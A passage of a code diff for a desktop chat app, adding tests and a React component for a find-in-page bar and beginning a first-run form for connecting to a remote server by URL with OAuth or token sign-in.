+    // Bare Enter outside the input belongs to the composer, not the find bar.
+    expect(findBarKeyAction({ key: 'Enter' })).toBeNull()
+  })
+
+  it('ignores a bare g so typing never triggers a step', () => {
+    expect(findBarKeyAction({ key: 'g' })).toBeNull()
+    expect(findBarKeyAction({ key: 'g' }, { inInput: true })).toBeNull()
+    expect(findBarKeyAction({ key: 'G', shiftKey: true }, { inInput: true })).toBeNull()
+  })
+
+  it('falls through when Alt is held so ⌥⌘G is not swallowed', () => {
+    expect(findBarKeyAction({ key: 'g', metaKey: true, altKey: true })).toBeNull()
+    expect(findBarKeyAction({ key: 'Escape', altKey: true })).toBeNull()
+  })
+
+  it('does not treat Cmd+Escape as close', () => {
+    expect(findBarKeyAction({ key: 'Escape', metaKey: true })).toBeNull()
+  })
+
+  it('ignores unrelated keys', () => {
+    expect(findBarKeyAction({ key: 'f', metaKey: true })).toBeNull()
+    expect(findBarKeyAction({ key: 'Tab' }, { inInput: true })).toBeNull()
+  })
+})
+
+describe('findBarClaimsCombo', () => {
+  it('claims the step accelerators and Escape', () => {
+    expect(findBarClaimsCombo('mod+g')).toBe(true)
+    expect(findBarClaimsCombo('mod+shift+g')).toBe(true)
+    expect(findBarClaimsCombo('escape')).toBe(true)
+  })
+
+  it('leaves every other combo to the keybind registry', () => {
+    // ⌘F must still reach view.findInPage even while the bar is open.
+    expect(findBarClaimsCombo('mod+f')).toBe(false)
+    expect(findBarClaimsCombo('mod+k')).toBe(false)
+    expect(findBarClaimsCombo('mod+b')).toBe(false)
+    expect(findBarClaimsCombo('enter')).toBe(false)
+  })
+})
+
+// ── Keybind registration ────────────────────────────────────────────────────
+
+describe('find-in-page keybind registration', () => {
+  const byId = new Map(KEYBIND_ACTIONS.map(action => [action.id, action]))
+
+  it('registers view.findInPage on mod+f in the view category', () => {
+    const action = byId.get('view.findInPage')
+
+    expect(action).toBeTruthy()
+    expect(action?.category).toBe('view')
+    expect(action?.defaults).toEqual(['mod+f'])
+  })
+
+  it('mod+f fires from inside a textarea (browser find behavior)', () => {
+    // The runtime consults comboAllowedInInput before dispatching a combo
+    // while an editable element owns focus; if mod combos ever stop
+    // qualifying, ⌘F from the composer would type 'f' instead of opening find.
+    expect(comboAllowedInInput('mod+f')).toBe(true)
+  })
+
+  it('registers the step pair unbound so it cannot conflict with view.toggleReview', () => {
+    const next = byId.get('view.findNext')
+    const previous = byId.get('view.findPrevious')
+
+    expect(next?.category).toBe('view')
+    expect(previous?.category).toBe('view')
+    // mod+g stays with view.toggleReview by default; the open find bar claims
+    // it at dispatch time instead (findBarClaimsCombo above).
+    expect(next?.defaults).toEqual([])
+    expect(previous?.defaults).toEqual([])
+    expect(byId.get('view.toggleReview')?.defaults).toEqual(['mod+g'])
+  })
+
+  it('every registered find action has an i18n label (keybinds panel row)', () => {
+    for (const id of ['view.findInPage', 'view.findNext', 'view.findPrevious']) {
+      expect(en.keybinds.actions[id], id).toBeTruthy()
+      expect(zh.keybinds.actions[id], id).toBeTruthy()
+    }
+  })
+})
+
+// ── Store: open/close state + dispatch ──────────────────────────────────────
+
+describe('find-in-page store', () => {
+  it('opens with a cleared query and counters', () => {
+    updateFindResults(3, 12)
+    openFindBar()
+
+    expect($findInPage.get()).toEqual({ active: true, query: '', matchOrdinal: 0, matchCount: 0 })
+  })
+
+  it('closing clears state and stops the native find (clears selection)', () => {
+    openFindBar()
+    setFindQuery('needle')
+    updateFindResults(2, 7)
+
+    closeFindBar()
+
+    expect($findInPage.get().active).toBe(false)
+    expect($findInPage.get().query).toBe('')
+    expect($findInPage.get().matchCount).toBe(0)
+    expect(bridge.stopFindInPage).toHaveBeenCalledTimes(1)
+  })
+
+  it('closing an already-closed bar does not re-issue stopFindInPage', () => {
+    openFindBar()
+    closeFindBar()
+    closeFindBar()
+
+    expect(bridge.stopFindInPage).toHaveBeenCalledTimes(1)
+  })
+
+  it('a fresh query searches from scratch (findNext false)', () => {
+    openFindBar()
+    setFindQuery('needle')
+
+    expect(bridge.findInPage).toHaveBeenCalledWith('needle', { forward: true, findNext: false })
+  })
+
+  it('clearing the query stops the find instead of searching for empty', () => {
+    openFindBar()
+    setFindQuery('needle')
+    bridge.findInPage.mockClear()
+
+    setFindQuery('')
+
+    expect(bridge.findInPage).not.toHaveBeenCalled()
+    expect(bridge.stopFindInPage).toHaveBeenCalled()
+    expect($findInPage.get().matchCount).toBe(0)
+  })
+
+  it('findNext steps forward and findPrevious steps backward on the same query', () => {
+    openFindBar()
+    setFindQuery('needle')
+    bridge.findInPage.mockClear()
+
+    findNext()
+    expect(bridge.findInPage).toHaveBeenLastCalledWith('needle', { forward: true, findNext: true })
+
+    findPrevious()
+    expect(bridge.findInPage).toHaveBeenLastCalledWith('needle', { forward: false, findNext: true })
+  })
+
+  it('stepping with no query is a no-op (never searches invisibly)', () => {
+    openFindBar()
+
+    findNext()
+    findPrevious()
+
+    expect(bridge.findInPage).not.toHaveBeenCalled()
+  })
+
+  it('setFindQuery on a closed bar never searches', () => {
+    // A debounce timer that already fired, or any late caller, must not
+    // re-highlight the page after the user dismissed the bar.
+    setFindQuery('needle')
+
+    expect(bridge.findInPage).not.toHaveBeenCalled()
+    expect($findInPage.get().query).toBe('')
+  })
+
+  it('found-in-page results land on the store', () => {
+    openFindBar()
+    setFindQuery('needle')
+    const release = initFindInPageListener()
+
+    bridge.emit({ activeMatchOrdinal: 4, count: 9 })
+
+    expect($findInPage.get().matchOrdinal).toBe(4)
+    expect($findInPage.get().matchCount).toBe(9)
+    release()
+  })
+
+  it('refcounts the bridge listener so remounts cannot stack subscriptions', () => {
+    const first = initFindInPageListener()
+    const second = initFindInPageListener()
+
+    // One real bridge subscription regardless of subscriber count.
+    expect(bridge.onFoundInPage).toHaveBeenCalledTimes(1)
+    expect(bridge.subscribers.size).toBe(1)
+    expect(findInPageListenerCount()).toBe(2)
+
+    first()
+    // Still one holder → the bridge listener stays installed.
+    expect(bridge.subscribers.size).toBe(1)
+
+    second()
+    // Last holder released → the listener is detached, nothing leaks.
+    expect(bridge.subscribers.size).toBe(0)
+    expect(findInPageListenerCount()).toBe(0)
+  })
+
+  it('releasing the same subscription twice cannot drive the refcount negative', () => {
+    const release = initFindInPageListener()
+    release()
+    release()
+
+    expect(findInPageListenerCount()).toBe(0)
+
+    // A fresh subscribe after a double-release still installs exactly one.
+    const next = initFindInPageListener()
+    expect(bridge.subscribers.size).toBe(1)
+    next()
+  })
+})
+
+// ── Component ───────────────────────────────────────────────────────────────
+
+// Store mutations that a MOUNTED FindBar subscribes to must be act()-wrapped
+// so React flushes the resulting re-render inside the test.
+function actStore(mutate: () => void) {
+  act(() => {
+    mutate()
+  })
+}
+
+function renderFindBar(initialPath = '/') {
+  return render(
+    <MemoryRouter initialEntries={[initialPath]}>
+      <I18nProvider configClient={null} initialLocale="en">
+        <FindBar />
+      </I18nProvider>
+    </MemoryRouter>
+  )
+}
+
+/** Harness that can navigate the route the mounted FindBar observes. */
+function renderFindBarWithNavigation(initialPath = '/session/a') {
+  let navigateRef: ReturnType<typeof useNavigate> | undefined
+
+  function CaptureNavigate() {
+    navigateRef = useNavigate()
+
+    return null
+  }
+
+  const view = render(
+    <MemoryRouter initialEntries={[initialPath]}>
+      <I18nProvider configClient={null} initialLocale="en">
+        <CaptureNavigate />
+        <FindBar />
+      </I18nProvider>
+    </MemoryRouter>
+  )
+
+  return { ...view, navigate: (to: string) => act(() => navigateRef?.(to)) }
+}
+
+describe('FindBar', () => {
+  it('renders nothing while closed', () => {
+    renderFindBar()
+
+    expect(screen.queryByRole('search')).toBeNull()
+  })
+
+  it('renders input, counter and close button when open with results', async () => {
+    openFindBar()
+    renderFindBar()
+
+    const input = await screen.findByRole('textbox', { name: /find in page/i })
+    expect(input).toBeTruthy()
+    expect(screen.getByRole('button', { name: /close/i })).toBeTruthy()
+    expect(screen.getByRole('button', { name: /next match/i })).toBeTruthy()
+    expect(screen.getByRole('button', { name: /previous match/i })).toBeTruthy()
+
+    // Counter appears once a query + results exist.
+    expect(screen.queryByText('3/12')).toBeNull()
+    actStore(() => $findInPage.set({ active: true, query: 'needle', matchOrdinal: 3, matchCount: 12 }))
+    await waitFor(() => expect(screen.getByText('3/12')).toBeTruthy())
+  })
+
+  it('focuses the input on open', async () => {
+    openFindBar()
+    renderFindBar()
+
+    const input = await screen.findByRole('textbox', { name: /find in page/i })
+    // eslint-disable-next-line no-restricted-globals -- asserting real focus requires the live document
+    await waitFor(() => expect(document.activeElement).toBe(input))
+  })
+
+  it('debounces typing into a single findInPage call', async () => {
+    vi.useFakeTimers()
+
+    try {
+      openFindBar()
+      renderFindBar()
+
+      const input = screen.getByRole('textbox', { name: /find in page/i })
+      fireEvent.change(input, { target: { value: 'n' } })
+      fireEvent.change(input, { target: { value: 'ne' } })
+      fireEvent.change(input, { target: { value: 'nee' } })
+
+      expect(bridge.findInPage).not.toHaveBeenCalled()
+
+      // Flushing the debounce updates the store, which re-renders the bar.
+      act(() => {
+        vi.advanceTimersByTime(200)
+      })
+
+      expect(bridge.findInPage).toHaveBeenCalledTimes(1)
+      expect(bridge.findInPage).toHaveBeenCalledWith('nee', { forward: true, findNext: false })
+    } finally {
+      vi.useRealTimers()
+    }
+  })
+
+  it('does not fire a pending search after the bar closes', async () => {
+    vi.useFakeTimers()
+
+    try {
+      openFindBar()
+      renderFindBar()
+
+      fireEvent.change(screen.getByRole('textbox', { name: /find in page/i }), {
+        target: { value: 'needle' }
+      })
+
+      actStore(closeFindBar)
+      vi.advanceTimersByTime(500)
+
+      expect(bridge.findInPage).not.toHaveBeenCalled()
+    } finally {
+      vi.useRealTimers()
+    }
+  })
+
+  it('Enter dispatches next and Shift+Enter dispatches previous', async () => {
+    $findInPage.set({ active: true, query: 'needle', matchOrdinal: 1, matchCount: 4 })
+    renderFindBar()
+
+    const input = screen.getByRole('textbox', { name: /find in page/i })
+
+    fireEvent.keyDown(input, { key: 'Enter' })
+    expect(bridge.findInPage).toHaveBeenLastCalledWith('needle', { forward: true, findNext: true })
+
+    fireEvent.keyDown(input, { key: 'Enter', shiftKey: true })
+    expect(bridge.findInPage).toHaveBeenLastCalledWith('needle', { forward: false, findNext: true })
+  })
+
+  it('Cmd+G / Cmd+Shift+G step from outside the input while the bar is open', async () => {
+    $findInPage.set({ active: true, query: 'needle', matchOrdinal: 1, matchCount: 4 })
+    renderFindBar()
+
+    // Fired on window (not the input) — the accelerator must not require focus.
+    fireEvent.keyDown(window, { key: 'g', metaKey: true })
+    expect(bridge.findInPage).toHaveBeenLastCalledWith('needle', { forward: true, findNext: true })
+
+    fireEvent.keyDown(window, { key: 'G', metaKey: true, shiftKey: true })
+    expect(bridge.findInPage).toHaveBeenLastCalledWith('needle', { forward: false, findNext: true })
+  })
+
+  it('Escape closes the bar and clears the native selection', async () => {
+    openFindBar()
+    renderFindBar()
+
+    fireEvent.keyDown(window, { key: 'Escape' })
+
+    expect($findInPage.get().active).toBe(false)
+    expect(bridge.stopFindInPage).toHaveBeenCalledTimes(1)
+    await waitFor(() => expect(screen.queryByRole('search')).toBeNull())
+  })
+
+  it('the close button clears state and stops the find', async () => {
+    openFindBar()
+    renderFindBar()
+
+    fireEvent.click(screen.getByRole('button', { name: /close/i }))
+
+    expect($findInPage.get().active).toBe(false)
+    expect(bridge.stopFindInPage).toHaveBeenCalledTimes(1)
+  })
+
+  it('the next / previous buttons dispatch a step', () => {
+    $findInPage.set({ active: true, query: 'needle', matchOrdinal: 1, matchCount: 4 })
+    renderFindBar()
+
+    fireEvent.click(screen.getByRole('button', { name: /next match/i }))
+    expect(bridge.findInPage).toHaveBeenLastCalledWith('needle', { forward: true, findNext: true })
+
+    fireEvent.click(screen.getByRole('button', { name: /previous match/i }))
+    expect(bridge.findInPage).toHaveBeenLastCalledWith('needle', { forward: false, findNext: true })
+  })
+
+  it('keeps exactly one bridge subscription across an open/close cycle', async () => {
+    renderFindBar()
+
+    // Mounted-but-closed already holds the subscription: results for an
+    // in-flight search must still land after the bar hides.
+    expect(bridge.subscribers.size).toBe(1)
+
+    actStore(openFindBar)
+    await waitFor(() => expect(screen.getByRole('search')).toBeTruthy())
+    actStore(closeFindBar)
+    await waitFor(() => expect(screen.queryByRole('search')).toBeNull())
+    actStore(openFindBar)
+
+    // Toggling visibility must not stack listeners — the subscription is
+    // mount-scoped, not active-scoped.
+    expect(bridge.onFoundInPage).toHaveBeenCalledTimes(1)
+    expect(bridge.subscribers.size).toBe(1)
+  })
+
+  it('unmount releases the bridge subscription (no leak across route changes)', () => {
+    const { unmount } = renderFindBar()
+    expect(bridge.subscribers.size).toBe(1)
+
+    unmount()
+
+    expect(bridge.subscribers.size).toBe(0)
+    expect(findInPageListenerCount()).toBe(0)
+  })
+
+  it('a remount does not stack subscriptions', () => {
+    const first = renderFindBar()
+    first.unmount()
+
+    const second = renderFindBar()
+
+    expect(bridge.subscribers.size).toBe(1)
+    second.unmount()
+    expect(bridge.subscribers.size).toBe(0)
+  })
+
+  it('the window key listener is removed on unmount', () => {
+    openFindBar()
+    const { unmount } = renderFindBar()
+
+    unmount()
+    bridge.stopFindInPage.mockClear()
+
+    // Reopen the store WITHOUT a mounted bar; a leaked listener would still
+    // handle Escape and call into the bridge.
+    actStore(openFindBar)
+    fireEvent.keyDown(window, { key: 'Escape' })
+
+    expect(bridge.stopFindInPage).not.toHaveBeenCalled()
+  })
+
+  it('navigating to another route closes the bar and clears the highlights', async () => {
+    const { navigate } = renderFindBarWithNavigation('/session/a')
+
+    actStore(openFindBar)
+    actStore(() => $findInPage.set({ active: true, query: 'needle', matchOrdinal: 2, matchCount: 7 }))
+    await waitFor(() => expect(screen.getByRole('search')).toBeTruthy())
+
+    navigate('/session/b')
+
+    // Bar gone, state reset, and the native selection cleared — stale
+    // highlights must not survive a session switch.
+    await waitFor(() => expect(screen.queryByRole('search')).toBeNull())
+    expect($findInPage.get()).toEqual({ active: false, query: '', matchOrdinal: 0, matchCount: 0 })
+    expect(bridge.stopFindInPage).toHaveBeenCalledTimes(1)
+  })
+
+  it('navigation while the bar is closed does not reach into the bridge', async () => {
+    const { navigate } = renderFindBarWithNavigation('/session/a')
+
+    navigate('/session/b')
+
+    await waitFor(() => expect(screen.queryByRole('search')).toBeNull())
+    expect(bridge.stopFindInPage).not.toHaveBeenCalled()
+  })
+})
diff --git a/ui-desktop/src/components/find-bar.tsx b/ui-desktop/src/components/find-bar.tsx
new file mode 100644
index 000000000..7afce7074
--- /dev/null
+++ b/ui-desktop/src/components/find-bar.tsx
@@ -0,0 +1,222 @@
+import { useStore } from '@nanostores/react'
+import { useEffect, useRef, useState } from 'react'
+import { useLocation } from 'react-router'
+
+import { Tip } from '@/components/ui/tooltip'
+import { useI18n } from '@/i18n'
+import { findBarKeyAction, formatMatchLabel } from '@/lib/find-in-page'
+import { cn } from '@/lib/utils'
+import {
+  $findInPage,
+  closeFindBar,
+  findNext,
+  findPrevious,
+  initFindInPageListener,
+  setFindQuery
+} from '@/store/find-in-page'
+
+/**
+ * Find-in-page overlay (⌘F).
+ *
+ * Drives Electron's `webContents.findInPage` via the preload bridge so the
+ * user gets the native browser-like incremental search (highlight, step,
+ * Escape to clear) over the rendered chat transcript + editor panels. Multi-
+ * window routing is handled in the main process — see
+ * apps/desktop/electron/find-in-page.ts.
+ *
+ * Accelerators, matching the platform convention (and Claude Desktop's set):
+ * ⌘F opens (via the `view.findInPage` keybind), ⌘G / ⌘⇧G step next/previous
+ * from anywhere while the bar is open, Enter / ⇧Enter step from the input,
+ * and Escape closes + clears the native selection.
+ *
+ * Key routing lives in `lib/find-in-page.ts` as a pure matcher so the
+ * accelerator set is testable without a DOM.
+ */
+export function FindBar() {
+  const { t } = useI18n()
+  const { active, query, matchOrdinal, matchCount } = useStore($findInPage)
+  const inputRef = useRef<HTMLInputElement>(null)
+  const [localQuery, setLocalQuery] = useState('')
+  const { pathname } = useLocation()
+
+  // Navigating away (opening another session, a settings page, …) closes the
+  // bar and clears the native highlight. Electron's findInPage selection is
+  // per-webContents, not per-route: without this, highlights (and a stale
+  // match counter) from the previous chat would survive onto the next view.
+  // Implemented as effect cleanup so the first render never fires it, a
+  // pathname change tears down the previous route's search, and unmount
+  // (session/profile switches that remount the shell) gets the same teardown.
+  // closeFindBar is idempotent, so a closed bar never re-enters the bridge.
+  useEffect(() => {
+    void pathname
+
+    return () => closeFindBar()
+  }, [pathname])
+
+  // Focus input when find bar opens.
+  useEffect(() => {
+    if (active) {
+      setLocalQuery('')
+      // Small delay so the DOM paints the input before we focus.
+      const id = requestAnimationFrame(() => inputRef.current?.focus())
+
+      return () => cancelAnimationFrame(id)
+    }
+
+    return undefined
+  }, [active])
+
+  // Subscribe to found-in-page results from the main process. Refcounted in
+  // the store, so a remount (connection re-home) can't stack listeners; the
+  // subscription is deliberately mount-scoped and NOT tied to `active` —
+  // results for an in-flight search must still land if the bar just closed.
+  useEffect(() => initFindInPageListener(), [])
+
+  // Debounce search — fire findInPage 200ms after the user stops typing.
+  useEffect(() => {
+    if (!active || !localQuery) {
+      return undefined
+    }
+
+    const id = setTimeout(() => setFindQuery(localQuery), 200)
+
+    // Cleanup covers every exit: another keystroke, the bar closing, and
+    // unmount. Nothing can fire a find after the bar is gone.
+    return () => clearTimeout(id)
+  }, [active, localQuery])
+
+  // Global accelerators while the bar is open: Escape closes, ⌘G / ⌘⇧G step.
+  // Capture-phase so they win regardless of which element inside the shell
+  // owns focus (composer textarea, side panel button, …). ⌘G is also bound to
+  // `view.toggleReview` in the keybinds registry — this listener runs in the
+  // capture phase and stops propagation, so while the find bar is open ⌘G
+  // means "find next" and the review toggle does not also fire. Closing the
+  // bar hands ⌘G straight back to the review pane.
+  useEffect(() => {
+    if (!active) {
+      return undefined
+    }
+
+    const onKeyDown = (event: KeyboardEvent) => {
+      const action = findBarKeyAction(event)
+
+      if (!action) {
+        return
+      }
+
+      event.preventDefault()
+      event.stopPropagation()
+
+      if (action === 'close') {
+        closeFindBar()
+      } else if (action === 'next') {
+        findNext()
+      } else {
+        findPrevious()
+      }
+    }
+
+    window.addEventListener('keydown', onKeyDown, { capture: true })
+
+    return () => window.removeEventListener('keydown', onKeyDown, { capture: true })
+  }, [active])
+
+  if (!active) {
+    return null
+  }
+
+  const onInput = (event: React.ChangeEvent<HTMLInputElement>) => {
+    const value = event.target.value
+    setLocalQuery(value)
+
+    // Empty query: clear highlights immediately rather than after the debounce.
+    if (!value) {
+      setFindQuery('')
+    }
+  }
+
+  // Enter / ⇧Enter step while focus is in the input. Escape and ⌘G are handled
+  // by the window listener above, so they are intentionally not duplicated
+  // here — `inInput` only unlocks the bare-Enter family.
+  const onKeyDown = (event: React.KeyboardEvent) => {
+    const action = findBarKeyAction(event, { inInput: true })
+
+    if (action !== 'next' && action !== 'previous') {
+      return
+    }
+
+    event.preventDefault()
+
+    if (action === 'next') {
+      findNext()
+    } else {
+      findPrevious()
+    }
+  }
+
+  const matchLabel = formatMatchLabel(query, matchOrdinal, matchCount)
+
+  return (
+    <div
+      className={cn(
+        'pointer-events-auto fixed right-4 top-[calc(var(--titlebar-height,0px)+0.5rem)] z-50',
+        'flex items-center gap-1 rounded-lg border border-(--ui-stroke-tertiary) bg-(--ui-surface-background) px-2 py-1 shadow-md'
+      )}
+      role="search"
+    >
+      <input
+        aria-label={t.keybinds.actions['view.findInPage'] ?? 'Find in page'}
+        className="h-6 w-40 bg-transparent text-xs text-(--ui-text-primary) outline-none placeholder:text-(--ui-text-tertiary)"
+        onChange={onInput}
+        onKeyDown={onKeyDown}
+        placeholder={t.keybinds.actions['view.findInPage'] ?? 'Find in page'}
+        ref={inputRef}
+        type="text"
+        value={localQuery}
+      />
+
+      {matchLabel && (
+        <span aria-live="polite" className="min-w-[3rem] text-center text-[0.6875rem] text-(--ui-text-tertiary)">
+          {matchLabel}
+        </span>
+      )}
+
+      <Tip label={t.findInPage.previous}>
+        <button
+          aria-label={t.findInPage.previous}
+          className="flex h-5 w-5 items-center justify-center rounded text-(--ui-text-secondary) hover:bg-(--ui-control-hover-background)"
+          onClick={findPrevious}
+          type="button"
+        >
+          <svg height="12" viewBox="0 0 16 16" width="12">
+            <path d="M4 10l4-4 4 4" fill="none" stroke="currentColor" strokeWidth="1.5" />
+          </svg>
+        </button>
+      </Tip>
+
+      <Tip label={t.findInPage.next}>
+        <button
+          aria-label={t.findInPage.next}
+          className="flex h-5 w-5 items-center justify-center rounded text-(--ui-text-secondary) hover:bg-(--ui-control-hover-background)"
+          onClick={findNext}
+          type="button"
+        >
+          <svg height="12" viewBox="0 0 16 16" width="12">
+            <path d="M4 6l4 4 4-4" fill="none" stroke="currentColor" strokeWidth="1.5" />
+          </svg>
+        </button>
+      </Tip>
+
+      <button
+        aria-label={t.common.close}
+        className="flex h-5 w-5 items-center justify-center rounded text-(--ui-text-secondary) hover:bg-(--ui-control-hover-background)"
+        onClick={closeFindBar}
+        type="button"
+      >
+        <svg height="10" viewBox="0 0 12 12" width="10">
+          <path d="M1 1l10 10M11 1L1 11" stroke="currentColor" strokeWidth="1.5" />
+        </svg>
+      </button>
+    </div>
+  )
+}
diff --git a/ui-desktop/src/components/first-run-remote-form.tsx b/ui-desktop/src/components/first-run-remote-form.tsx
new file mode 100644
index 000000000..e253bd4e6
--- /dev/null
+++ b/ui-desktop/src/components/first-run-remote-form.tsx
@@ -0,0 +1,346 @@
+import { useCallback, useEffect, useRef, useState } from 'react'
+
+import { BrandMark } from '@/components/brand-mark'
+import { Button } from '@/components/ui/button'
+import { Input } from '@/components/ui/input'
+import type { DesktopConnectionProbeResult } from '@/global'
+import { useI18n } from '@/i18n'
+import { deriveRemoteAuthProviderShape } from '@/lib/desktop-remote-auth'
+import { AlertCircle, Check, Loader2, LogIn } from '@/lib/icons'
+import { coerceRemoteUrlScheme } from '@/lib/remote-url'
+
+type AuthMode = 'oauth' | 'token'
+type ProbeStatus = 'idle' | 'probing' | 'done' | 'error'
+
+interface FirstRunRemoteFormProps {
+  onBack: () => void
+}
+
+function errorMessage(err: unknown): string {
+  return err instanceof Error ? err.message : String(err || 'Unknown error')
+}
+
+export function FirstRunRemoteForm({ onBack }: FirstRunRemoteFormProps) {
+  const { t } = useI18n()
+  const copy = t.install
+  const [remoteUrl, setRemoteUrl] = useState('')
+  const [remoteToken, setRemoteToken] = useState('')
+  const [probeStatus, setProbeStatus] = useState<ProbeStatus>('idle')
+  const [probe, setProbe] = useState<DesktopConnectionProbeResult | null>(null)
+  const [oauthConnected, setOauthConnected] = useState(false)
+  const [signingIn, setSigningIn] = useState(false)
+  const [testing, setTesting] = useState(false)
+  const [applying, setApplying] = useState(false)
+  const [error, setError] = useState<string | null>(null)
+  const [success, setSuccess] = useState<string | null>(null)
+  const [lastTestedPayloadKey, setLastTestedPayloadKey] = useState<string | null>(null)
+  const probeSeq = useRef(0)
+  const testSeq = useRef(0)
+
+  const trimmedUrl = coerceRemoteUrlScheme(remoteUrl)
+
+  const invalidateTest = useCallback(() => {
+    testSeq.current += 1
+    setTesting(false)
+    setError(null)
+    setSuccess(null)
+    setLastTestedPayloadKey(null)
+  }, [])
+
+  useEffect(() => {
+    const seq = ++probeSeq.current
+
+    if (!trimmedUrl || !/^https?:\/\//i.test(trimmedUrl)) {
+      setProbeStatus('idle')
+      setProbe(null)
+      setOauthConnected(false)
+
+      return
+    }
+
+    const desktop = window.clawcodexDesktop
+
+    if (!desktop?.probeConnectionConfig) {
+      return
+    }
+
+    setProbeStatus('probing')
+
+    const timer = window.setTimeout(() => {
+      desktop
+        .probeConnectionConfig(trimmedUrl)
+        .then(result => {
+          if (seq !== probeSeq.current) {
+            return
+          }
+
+          invalidateTest()
+          setProbe(result)
+          setProbeStatus(result.reachable ? 'done' : 'error')
+
+          if (result.reachable && result.authMode !== 'oauth') {
+            setOauthConnected(false)
+          }
+        })
+        .catch(err => {
+          if (seq !== probeSeq.current) {
+            return
+          }
+
+          setProbe(null)
+          setProbeStatus('error')
+          setError(errorMessage(err))
+        })
+    }, 500)
+
+    return () => window.clearTimeout(timer)
+  }, [invalidateTest, trimmedUrl])
+
+  const authMode: AuthMode = probeStatus === 'done' && probe?.authMode === 'oauth' ? 'oauth' : 'token'
+  const authResolved = probeStatus === 'done' && probe?.authMode !== 'unknown'
+  const authProviderShape = deriveRemoteAuthProviderShape(probe?.providers, copy.identityProvider)
+  const { isPassword: isPasswordProvider, providerLabel } = authProviderShape
+  const canRetryProbe = Boolean(trimmedUrl && probeStatus === 'error')
+
+  const canTest = Boolean(
+    trimmedUrl && (canRetryProbe || (authResolved && (authMode === 'oauth' ? oauthConnected : remoteToken.trim())))
+  )
+
+  const payload = () => ({
+    mode: 'remote' as const,
+    remoteAuthMode: authMode,
+    remoteToken: authMode === 'token' ? remoteToken.trim() || undefined : undefined,
+    remoteUrl: trimmedUrl
+  })
+
+  const currentPayloadKey = JSON.stringify(payload())
+  const payloadKeyRef = useRef(currentPayloadKey)
+  payloadKeyRef.current = currentPayloadKey
+  const canApply = lastTestedPayloadKey === currentPayloadKey
+
+  const signIn = async () => {
+    if (!trimmedUrl) {
+      setError(copy.enterUrlFirst)
+
+      return
+    }
+
+    setSigningIn(true)
+    setError(null)
+
+    try {
+      // Unlike Settings, first-run intentionally does not pre-save remote mode:
+      // backing out must still allow local install without leaving a remote
+      // connection selected. The login IPC accepts the raw URL and stores only
+      // its OAuth cookies; config is persisted once the user applies.
+      const result = await window.clawcodexDesktop.oauthLoginConnectionConfig(trimmedUrl)
+      invalidateTest()
+      setOauthConnected(Boolean(result.connected))
+
+      if (!result.connected) {
+        setError(copy.signInIncomplete)
+      }
+    } catch (err) {
+      setError(errorMessage(err))
+    } finally {
+      setSigningIn(false)
+    }
+  }
+
+  const testRemote = async () => {
+    if (!canTest) {
+      setError(authMode === 'oauth' ? copy.incompleteSignInTest : copy.incompleteTokenTest)
+
+      return
+    }
+
+    const seq = ++testSeq.current
+    const testedPayload = payload()
+    const testedPayloadKey = JSON.stringify(testedPayload)
+
+    setTesting(true)
+    setError(null)
+    setSuccess(null)
+    setLastTestedPayloadKey(null)
+
+    try {
+      if (!authResolved) {
+        const result = await window.clawcodexDesktop.probeConnectionConfig(trimmedUrl)
+
+        if (seq !== testSeq.current || testedPayloadKey !== payloadKeyRef.current) {
+          return
+        }
+
+        setProbe(result)
+        setProbeStatus(result.reachable ? 'done' : 'error')
+        setError(result.reachable && result.authMode !== 'unknown' ? null : result.error || copy.probeError)
+
+        return
+      }
+
+      const result = await window.clawcodexDesktop.testConnectionConfig(testedPayload)
+
+      if (seq !== testSeq.current || testedPayloadKey !== payloadKeyRef.current) {
+        return
+      }
+
+      setSuccess(copy.testSucceeded(result.baseUrl || trimmedUrl, result.version ?? undefined))
+      setLastTestedPayloadKey(testedPayloadKey)
+    } catch (err) {
+      if (seq === testSeq.current && testedPayloadKey === payloadKeyRef.current) {
+        setError(errorMessage(err))
+      }
+    } finally {
+      if (seq === testSeq.current) {
+        setTesting(false)
+      }
+    }
+  }
+
+  const applyRemote = async () => {
+    if (!canApply) {
+      return
+    }
+
+    const testedPayload = payload()
+
+    setApplying(true)
+    setError(null)
+    let applied = false
+
+    try {
+      await window.clawcodexDesktop.applyConnectionConfig(testedPayload)
+      applied = true
+    } catch (err) {
+      setError(errorMessage(err))
+    } finally {
+      setApplying(false)
+    }
+
+    if (applied) {
+      onBack()
+    }
+  }
+
+  return (
+    <div className="fixed inset-0 z-(--z-setup) flex items-center justify-center bg-background/90 p-4 backdrop-blur-md">
+      <div className="flex w-full max-w-xl flex-col rounded-xl border border-(--stroke-nous) bg-card p-8 shadow-nous">
+        <div className="flex items-start gap-4">
+          <BrandMark className="size-11 shrink-0" />
+          <div className="min-w-0">
+            <h2 className="text-xl font-semibold tracking-tight">{copy.remoteSetupTitle}</h2>
+            <p className="mt-1.5 text-sm text-muted-foreground">{copy.remoteSetupDesc}</p>
+          </div>
+        </div>
+
+        <div className="mt-6 grid gap-4">
+          <label className="grid gap-1.5">
+            <span className="text-xs font-medium text-muted-foreground">{copy.remoteUrlTitle}</span>
+            <Input
+              autoComplete="url"
+              disabled={applying}
+              onChange={event => {
+                invalidateTest()
+                setRemoteUrl(event.target.value)
+              }}
+              placeholder={copy.remoteUrlPlaceholder}
+              value={remoteUrl}
+            />
+            <span className="text-xs text-muted-foreground">{copy.remoteUrlDesc}</span>
+          </label>
+
+          {probeStatus === 'probing' ? (
+            <div className="flex items-center gap-2 text-sm text-muted-foreground">
+              <Loader2 className="size-4 animate-spin" />
+              {copy.probing}
+            </div>
+          ) : null}
+
+          {probeStatus === 'error' ? (
+            <div className="flex items-start gap-2 text-sm text-destructive">
+              <AlertCircle className="mt-0.5 size-4 shrink-0" />
+              <span>{probe?.error || copy.probeError}</span>
+            </div>
+          ) : null}
+
+          {authResolved && authMode === 'oauth' ? (
+            <div className="rounded-md border border-(--ui-stroke-tertiary) p-3">
+              <div className="flex items-center justify-between gap-3">
+                <div>
+                  <div className="text-sm font-medium">{copy.authTitle}</div>
+                  <p className="mt-1 text-xs text-muted-foreground">
+                    {oauthConnected ? copy.authSignedIn : copy.authNeedsOauth(providerLabel)}
+                  </p>
+                </div>
+                {oauthConnected ? (
+                  <div className="flex items-center gap-1.5 text-sm text-primary">
+                    <Check className="size-4" />
+                    {copy.connected}
+                  </div>
+                ) : (
+                  <Button disabled={signingIn || applying} onClick={() => void signIn()} size="sm">
+                    {signingIn ? <Loader2 className="size-4 animate-spin" /> : <LogIn className="size-4" />}
+                    {isPasswordProvider ? copy.signIn : copy.signInWith(providerLabel)}
+                  </Button>
+                )}
+              </div>
+            </div>
+          ) : null}
+
+          {authResolved && authMode === 'token' ? (
+            <label className="grid gap-1.5">
